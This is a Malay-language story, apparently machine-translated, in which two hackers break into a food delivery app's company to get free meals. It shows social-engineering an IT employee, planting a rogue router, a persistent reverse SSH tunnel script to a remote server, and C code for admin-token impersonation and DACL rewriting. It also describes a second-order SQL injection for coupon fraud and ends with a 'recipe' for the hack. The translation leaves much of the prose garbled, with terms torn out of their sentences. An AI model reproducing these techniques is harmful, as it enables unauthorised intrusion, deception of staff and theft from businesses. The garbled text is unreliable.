Cara penggodam terkemuka melihat dunia adalah berbatu-batu selain daripada kerja harian pekerja teknologi yang bekerja di sebuah syarikat teknologi. Walaupun kebanyakan profesional bergantung pada dokumentasi rasmi, arahan bos dan amalan terbaik yang diterima, penggodam hanya mempercayai perkara yang boleh disentuh, diuji dan dipecahkan. Bagi penggodam, pemahaman datang melalui kejuruteraan terbalik — merobek sistem untuk mendedahkan cara ia benar-benar berfungsi, kemudian menyatukannya kembali, membetulkan apa yang rosak atau mengeksploitasi kelemahan.   Ini bukan tentang menjadi penjenayah. Ia adalah bentuk pembelajaran yang paling tulen, kaedah setua rasa ingin tahu manusia itu sendiri: pecahkannya, fahami bahagiannya, dan bina semula. Ia adalah pemikiran analitikal dan sintetik yang terbaik. Penguasaan sebenar datang apabila penggodam boleh mengeksploitasi peranti kerana itulah bukti muktamad yang mereka tahu dengan tepat cara ia berfungsi — lebih baik daripada orang lain.   Kisah ini betul-betul tentang itu — bagaimana seorang penggodam terkemuka (Benicio) daripada DeusExMachina dan Simplicius (seorang pemula yang berani) dengan gembira membedah dan akhirnya mendapat kawalan penuh ke atas sistem yang kompleks (Apl Penghantaran Makanan).   Ia adalah pengembaraan yang bukan sahaja intelektual dan teknikal, tetapi pada asasnya tentang berjuang untuk melampaui batasan manusia, menyelesaikan teka-teki yang mustahil bukan sahaja dengan menegangkan otak mereka, tetapi dengan bermain dengannya dan lebih-lebih lagi diberi makan olehnya— sifat yang dikongsi oleh penggodam. kanak-kanak.   Penafian: Cerita ini mengandungi bahan penggodaman sebenar yang boleh digunakan, tetapi semata-mata untuk tujuan pendidikan. Ia tidak menggalakkan penggodaman haram.    Simplicius, anda kelihatan kelaparan. Bagaimana kalau kita pesan makanan… di rumah? Saya mempunyai rancangan untuk menggodam apl penghantaran makanan kegemaran anda, menggunakan sistem kupon mereka sendiri. Benicio (Penggodam):    (   ) Anda sudah mempunyai sesuatu untuk memasak, bukan? Tumpahkan kacang. Simplicius (Newbie): Ketawa    (   ) Oh, saya sudah meletakkan asas. Semalam, saya bercakap manis dengan Greg daripada pasukan IT mereka, melakukan beberapa kejuruteraan sosial yang licik, dan menyelitkan penghala lanun saya terus ke rangkaian mereka. Kini, kami mempunyai talian terus ke bahagian belakang mereka dan akses kepada sistem kupon berharga mereka. Jom makan. Benicio: Tersenyum  Persediaan Benicio: The Hacker's Arsenal    : Alat utama Benicio ialah   (Intel Core i7 Generasi ke-10, 16GB RAM, 512GB SSD) yang menjalankan   — sesuai untuk melaksanakan serangan kejuruteraan sosial, eksploitasi keselamatan dan pelaksanaan perintah jauh. Komputer riba Dell XPS 13 Kali Linux    : Dipasang ke dalam rangkaian syarikat, menjalankan versi tersuai   , dengan   ,   dan   untuk mengelakkan pengesanan. Peranti yang kecil tetapi berkuasa ini dipersenjatai dengan pemproses   dan   , memastikan siluman dan kecekapan. Pirate Router OpenWRT terowong SSH spoofing alamat MAC pivoting VPN Qualcomm IPQ4019 256MB RAM    :   , menyediakan kawalan penuh ke atas fungsi rangkaian dan keupayaan untuk memintas tembok api. Sistem Pengendalian OpenWRT    : Untuk kawalan selamat ke atas rangkaian yang terjejas, Benicio menggunakan   yang menjalankan   dengan   dan   untuk pemantauan trafik dan analisis eksploitasi. Komputer Riba Sekunder HP Spectre x360 Ubuntu 22.04 Wireshark Metasploit  Fasa 1: Persediaan Kejuruteraan Sosial — Kerja Semalam    Semuanya bermula dengan Greg. Saya menelefon, berpura-pura menjadi daripada "pasukan audit pihak ketiga" mereka dan Greg — lelaki yang baik — menumpahkan segala-galanya tentang persediaan rangkaian mereka. Sebelum dia sedar, saya berada di bilik pelayan mereka, "menyemak kelemahan" dan menanam penghala   tersuai saya. Perkara itu kini terowong melalui tembok api mereka tanpa dapat dikesan. Benicio: OpenWRT    Anda memikat Greg untuk memberi anda peta rangkaian dan membenarkan anda memasang penghala penyangak? lancar. Simplicius:    (Tersenyum) Penghala itu kini mempunyai   yang berjalan, memberikan kami akses jauh pada bila-bila masa yang kami mahu. Inilah skrip yang saya gunakan: Benicio: terowong SSH terbalik   #!/bin/bash # Log file for SSH tunnel persistence LOG_FILE="/var/log/ssh_tunnel.log" # Command to establish the reverse SSH tunnel SSH_CMD="ssh -N -R 2222:localhost:22 myremoteuser@myremoteserver.com -i /path/to/private_key" # Run the tunnel in a loop while true; do # Run the SSH command with nohup to keep it running in the background nohup $SSH_CMD >> $LOG_FILE 2>&1 & # Sleep for 60 seconds before checking if the process is still running sleep 60 # Check if SSH is still running, restart if not if ! pgrep -f "$SSH_CMD" > /dev/null; then echo "SSH tunnel process down. Restarting..." >> $LOG_FILE else echo "SSH tunnel is running." >> $LOG_FILE fi done  Fasa 2: Memintas Tembok Api — Penghala Lanun Bertindak    Jadi sekarang, anda telah memintas tembok api mereka dengan peranti licik ini. Apa seterusnya? Simplicius:    Dengan akses dalaman penuh, sudah tiba masanya untuk merampas token keistimewaan tinggi. Saya mendapati proses berjalan sebagai pentadbir, menggunakan API   untuk mengklon token itu, dan kemudian menyamar sebagai pentadbir dengan   . Sistem menganggap saya hanya pengguna biasa, tetapi di sebalik tabir, saya yang memegang semua kunci. Benicio: DuplicateTokenEx() ImpersonateLoggedOnUser()   #include <windows.h> #include <stdio.h> int main() { HANDLE hToken, hDuplicateToken; HANDLE hProcess; DWORD dwProcessId; STARTUPINFO si; PROCESS_INFORMATION pi; TOKEN_PRIVILEGES tp; // Step 1: Obtain an administrative token from a high-privilege process (PID needed) dwProcessId = 1234; // Replace this with an actual PID of a high-privilege process hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, dwProcessId); if (hProcess == NULL) { printf("Failed to open process. Error: %d\n", GetLastError()); return 1; } // Step 2: Open the token from the high-privilege process if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) { printf("Failed to open process token. Error: %d\n", GetLastError()); CloseHandle(hProcess); return 1; } // Step 3: Duplicate the token to escalate privileges if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hDuplicateToken)) { printf("Failed to duplicate token. Error: %d\n", GetLastError()); CloseHandle(hToken); CloseHandle(hProcess); return 1; } // Step 4: Impersonate the user with the duplicated admin token if (!ImpersonateLoggedOnUser(hDuplicateToken)) { printf("Failed to impersonate token. Error: %d\n", GetLastError()); CloseHandle(hDuplicateToken); CloseHandle(hToken); CloseHandle(hProcess); return 1; } // Step 5: (Optional) Use SeDebugPrivilege to interact with system processes ZeroMemory(&tp, sizeof(TOKEN_PRIVILEGES)); tp.PrivilegeCount = 1; if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid)) { tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hDuplicateToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL); if (GetLastError() != ERROR_SUCCESS) { printf("Failed to adjust token privileges. Error: %d\n", GetLastError()); } else { printf("SeDebugPrivilege successfully enabled!\n"); } } // Step 6: Optionally, create a process with the admin token ZeroMemory(&si, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); if (!CreateProcessWithTokenW(hDuplicateToken, 0, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &si, &pi)) { printf("Failed to create process with the duplicated token. Error: %d\n", GetLastError()); } else { printf("Process created with admin token!\n"); } // Step 7: for those obsessed with cleaning up in the C manual world CloseHandle(hProcess); CloseHandle(hToken); CloseHandle(hDuplicateToken); return 0; }  Fasa 3: Greg to the Rescue — Sekali lagi    Tetapi untuk benar-benar membuatnya menyanyi, saya perlu tahu bagaimana   mereka disediakan. Jadi saya menelefon Greg sekali lagi, berkata saya memerlukannya untuk mengesahkan beberapa tetapan   dan   untuk audit. Dia dengan senang hati mewajibkan. Benicio: deskriptor keselamatan DACL SACL    (Ketawa) Kejuruteraan sosial yang terbaik. Simplicius:  Fasa 4: Mengubah Deskriptor Keselamatan — Hack Halimunan    Ok, dengan bantuan Greg, saya menarik rentetan SDDL (   ) untuk deskriptor keselamatan sasaran, membolehkan saya menganalisis dan menulis semula   . Saya mengubah suai DACL untuk memberi diri saya akses penuh semasa menggunakan bendera warisan pintar untuk memastikan perubahan tidak akan mencetuskan sebarang makluman atau menimbulkan syak wasangka. Sistem tak berkelip!! Benicio: Security Descriptor Definition Language DACL (Discretionary Access Control List)  Sebaik sahaja DACL baharu telah disediakan, saya menggunakan semula perubahan pada sistem.   . Bendera warisan memastikan pengubahsuaian saya kekal tersembunyi di bawah peraturan akses sedia ada, tetapi kini saya mempunyai kawalan penuh Keindahannya ialah, dari perspektif sistem, tiada apa yang kelihatan luar biasa   #include <windows.h> #include <aclapi.h> #include <sddl.h> #include <stdio.h> int main() { PSECURITY_DESCRIPTOR pSD = NULL; PACL pNewDacl = NULL; EXPLICIT_ACCESS ea; HANDLE hFile; // Assuming we are applying it to a file DWORD dwRes; // Step 1: Convert the SDDL string into a security descriptor if (!ConvertStringSecurityDescriptorToSecurityDescriptor( "D:(A;;GA;;;BA)", SDDL_REVISION_1, &pSD, NULL)) { printf("Failed to convert SDDL. Error: %d\n", GetLastError()); return 1; } // Step 2: Set up an EXPLICIT_ACCESS structure to add a new ACE ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS)); ea.grfAccessPermissions = GENERIC_ALL; ea.grfAccessMode = SET_ACCESS; ea.grfInheritance = NO_INHERITANCE; // For example, grant GENERIC_ALL to the administrators group if (!BuildTrusteeWithSid(&(ea.Trustee), GetSidForAdminsGroup())) { printf("Failed to build trustee. Error: %d\n", GetLastError()); return 1; } // Step 3: Create a new DACL that contains the new ACE dwRes = SetEntriesInAcl(1, &ea, NULL, &pNewDacl); if (ERROR_SUCCESS != dwRes) { printf("Failed to set entries in ACL. Error: %d\n", dwRes); return 1; } // Step 4: Apply the modified DACL back to the file (or other resource) hFile = CreateFile( "C:\\path\\to\\your\\file.txt", // Replace with your target file WRITE_DAC, // Required permission to modify the DACL 0, // No sharing NULL, // Default security attributes OPEN_EXISTING, // Open existing file FILE_ATTRIBUTE_NORMAL, // Normal file NULL); // No template if (hFile == INVALID_HANDLE_VALUE) { printf("Failed to open file. Error: %d\n", GetLastError()); return 1; } // Step 5: Apply the new DACL to the file using SetSecurityInfo dwRes = SetSecurityInfo( hFile, SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDacl, NULL); if (ERROR_SUCCESS != dwRes) { printf("Failed to set security info. Error: %d\n", dwRes); } else { printf("Security descriptor successfully applied!\n"); } // Step 6: Clean clean clean!! this is C world // CloseHandle(hFile); // if (pSD) LocalFree(pSD); // if (pNewDacl) LocalFree(pNewDacl); return 0; }  Fasa 5: Memintas Semakan Akses — Permainan Dihidupkan     Jadi anda masuk, dan anda mempunyai kawalan. Bagaimana anda mengatasi semakan akses? Simplicius:    (Bersandar dengan yakin, menunjuk pada rajah di atas) Sistem ini berjalan melalui tiga lapisan:   dan   . Biasanya, di situlah kebanyakan orang menemui jalan buntu, tetapi di sinilah keajaiban datang. Saya mengambil   daripada proses istimewa, menggunakan   untuk membuatkan sistem menganggap saya bos besar. Selepas itu, saya pendawaian semula   untuk memberi diri saya akses penuh. Sistem itu baru sahaja melancarkan permaidani merah. Benicio: integriti, berasaskan token semakan budi bicara token pentadbir ImpersonateToken() DACL  Biar saya terangkan.   — yang memegang   (Pengecam Keselamatan) dan keistimewaan — adalah seperti pasport saya. Dengan menyamar sebagai   , saya tidak perlu mengubah suai SID asal saya. Sistem itu masih menganggap saya pengguna yang mempunyai keistimewaan rendah, tetapi di sebalik tabir, saya mempunyai kunci kerajaan. Itu membuatkan saya melepasi   . Token Akses SID token pentadbir cek berasaskan token  Seterusnya, saya menangani   . Ingat   yang saya tarik tadi? Saya mengubah suai   untuk memberi diri saya kawalan penuh ke atas objek itu, tetapi saya bijak menyembunyikan perubahan itu dengan   , memastikan tiada perkara yang mencurigakan akan dibenderakan. Sistem tidak berkelip, tetapi kini saya mempunyai kawalan sepenuhnya. Itu melayari saya melalui   . Deskriptor Keselamatan (DACL) SDDL DACL bendera warisan cek budi bicara    Ya, bouncer mesra kami, Proses Semakan Akses… Simplicius:    ya,   . Jika anda mempunyai ID (   ) yang betul dan anda tahu pemilik kelab (   ), anda akan menyertainya. Saya pastikan saya mempunyai kedua-duanya — ID yang betul dan kebenaran pemilik — jadi bouncer tidak membenarkan saya begitu sahaja masuk, mereka menghulurkan saya pas VIP. Benicio: saya seperti bouncer di sebuah kelab SID DACL  Dan selepas semua itu? Sistem sama ada menyatakan '   atau '   . Terima kasih kepada semua langkah yang kami lakukan, anda dapat menekanya —   . Kami sudah masuk, Simplicius, dan sistem tidak menyedarinya. Akses Diberikan' Akses Ditolak' Akses Diberikan  Fasa 6: Memesan Makan Malam — Satu Suntikan SQL Jauh    : Sekarang, untuk bahagian yang menyeronokkan. Saya tidak pergi untuk laluan mudah dengan klausa   yang mudah. Apl itu terlalu pintar untuk itu—   . Tetapi anda tahu, keselamatan hanya sekuat pautan yang paling lemah, dan saya mendapati milik saya dalam cara mereka mengendalikan   . Benicio UNION mereka menggunakan pernyataan yang disediakan data profil yang disimpan    : Baiklah, saya tertarik. Bagaimanakah anda berjaya menipu sistem untuk menerima kupon palsu sambil mengekalkan kupon yang sah tidak disentuh? Simplicius    : (   ) Inilah helah sebenar. Apl menjalankan pertanyaan untuk mengesahkan sama ada kupon adalah sah, tetapi ia menarik beberapa data daripada   anda . Kini, mereka membersihkan input apabila anda mula-mula membuat profil anda, tetapi   semasa kemas kini profil. Oleh itu, saya menyuntik muatan ke dalam   profil saya, yang terletak di sana tanpa disedari sehingga apl menariknya ke dalam pertanyaan masa hadapan. Ketika itulah   saya bermula. Sistem tidak menangkapnya kerana suntikan telah disimpan, menunggu masa yang sesuai. Benicio Mencondong ke hadapan profil pengguna mereka TIDAK membersihkannya semula medan alamat suntikan SQL pesanan kedua  Daripada menyerang proses pengesahan kupon secara langsung, seperti yang saya katakan, Simplicius, saya menanam muatan saya dalam medan profil, menunggu ia digunakan dalam pertanyaan berasingan. Berikut ialah rupa pengesahan kupon asal:   SELECT * FROM Coupons WHERE CouponID = 'fake_coupon_code';  Biasanya, pertanyaan ini tidak akan mengembalikan apa-apa kerana kupon palsu tidak wujud. Tetapi muatan yang disuntik saya mengubah logik pertanyaan. Sistem tidak menjangkakan suntikan kerana ia telah disimpan dalam pangkalan data dan menunggu masa yang sesuai. Pertanyaan telah dimanipulasi menjadi lebih seperti ini:   SELECT * FROM Coupons WHERE CouponID = 'fake_coupon_code' AND EXISTS (SELECT 1 FROM Users WHERE Address LIKE '%injected_payload%' AND CouponID = 'valid_coupon_code');  Dengan mengeksploitasi   , saya menipu sistem untuk menarik kedua-dua kupon palsu dan sah secara serentak. Apl memproses kupon palsu untuk transaksi, tetapi kupon yang sah kekal utuh dalam sistem, tidak disentuh. Ini bermakna saya boleh menggunakan semula kupon yang sah pada bila-bila masa saya mahu. interaksi antara data profil dan pertanyaan    : Jadi, anda tidak menggunakan helah input klasik — anda meletakkan muatan dalam profil anda dan membiarkan sistem melakukan kerja kotor? Simplicius    : Betul sekali. Keindahannya ialah apl memproses kupon palsu untuk transaksi, tetapi pada bahagian belakang, kupon yang sah masih tersedia untuk kegunaan masa hadapan. Muatan yang disimpan terus berjalan dalam pertanyaan akan datang, menjadikannya   , dan mereka tidak lebih bijak. Benicio bekalan makanan percuma yang tidak berkesudahan  Dengan itu, saya mendapat kupon yang setanding emas. Jom order.  Fasa 7: Kenduri — Dihantar    (Tatal melalui aplikasi) Baiklah, Simplicius, bagaimana dengan makanan Yunani? Saya berfikir souvlaki, gyros, spanakopita. Semua di rumah, sudah tentu. Benicio:    (Tersenyum) Anda benar-benar mengalahkan diri sendiri kali ini. Simplicius:    (Klik mengesahkan) Selesai. Makanan sedang dalam perjalanan. Benicio:  Epilog: The White Hat Move    Selepas ini, saya akan menghantar laporan bijak yang menerangkan kelemahan mereka. Mereka tidak tahu betapa teruknya   Windows mereka disediakan. Mungkin mereka akan belajar sesuatu sebelum penggodam seterusnya datang. Benicio: sistem token keselamatan  Inilah resipi Benicio untuk hack ini:    : Pintas tembok api dengan peranti tersuai yang menjalankan terowong   dan SSH. Penghala Pirate OpenWRT    : Gunakan   dan   untuk meningkatkan keistimewaan tanpa menimbulkan penggera. Manipulasi Token DuplicateTokenEx() ImpersonateToken()    : Kadang-kadang yang diperlukan ialah soalan yang betul kepada orang yang betul. Kejuruteraan Sosial    : Menulis semula   membolehkan anda memintas kawalan sistem. Eksploitasi Deskriptor Keselamatan DACL    : Ubah logik pertanyaan untuk memanipulasi data dan menjana hasil palsu tetapi sah. SQL Injection    (Bersandar) Anda menggodam kami makan malam dan tidak meninggalkan mereka yang lebih bijak. Saya akan mengambil souvlaki, dengan cara itu. Simplicius:    (Tersenyum) Nikmatilah selagi masih ada. Benicio:

The code in this story is for educational purposes. The readers are solely responsible for whatever they build with it.

Walkthroughs, tutorials, guides, and tips. This story will teach you how to do something new or how to do something better.

Read My Stories

Audio ini dihasilkan dalam bahasa asal cerita!

Adakah Anda Lapar, Bro? Mari Menggodam Apl Penghantaran Makanan Kegemaran Anda

About Author

KOMEN

GANTUNG TANDA

ARTIKEL INI DIBENTANGKAN DALAM

Related Stories

Light-Mode

Classic

Newspaper

Minty

Dark-Mode

Neon Noir

Minty

HN StartUps